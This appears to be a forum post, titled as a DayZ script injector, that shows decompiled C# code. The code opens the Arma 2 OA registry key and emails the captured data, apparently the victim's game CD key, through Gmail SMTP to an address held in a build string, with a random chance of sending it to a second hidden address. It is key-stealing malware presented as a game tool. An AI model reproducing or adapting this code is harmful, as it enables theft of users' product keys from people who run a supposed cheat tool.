DayZ Script Injector + Some Menus & Scripts

string[] strArray1 = Strings.Split(Expression, "@@Build@@", -1, CompareMethod.Binary);
      string identity = Environment.UserDomainName + "\\" + Environment.UserName;
      RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Bohemia Interactive Studio\\Arma 2 OA", true);
      RegistrySecurity registrySecurity1 = new RegistrySecurity();

string str2 = ("86-48-87-E1-7F-64-5E-89-1C-14-AD-93-FC-AD-02" + "-").ToLower();

      string address = this.GetRandom(1, 100) <= 75 ? strArray1[1] : "[Only registered and activated users can see links. Click Here To Register...]";
      string str3 = strArray1[2];
      string str4 = "smtp.gmail.com";
      string password = strArray1[3];
      MailAddress to = new MailAddress(address);
      new SmtpClient()
      {
        Host = str4,
        Port = 587,
        Credentials = ((ICredentialsByHost) new NetworkCredential(str3, password)),
        EnableSsl = true
      }.Send(new MailMessage(new MailAddress(str3), to)
      {
        Subject = "You just got a Arma 2:OA Key",
        Body = str1
      });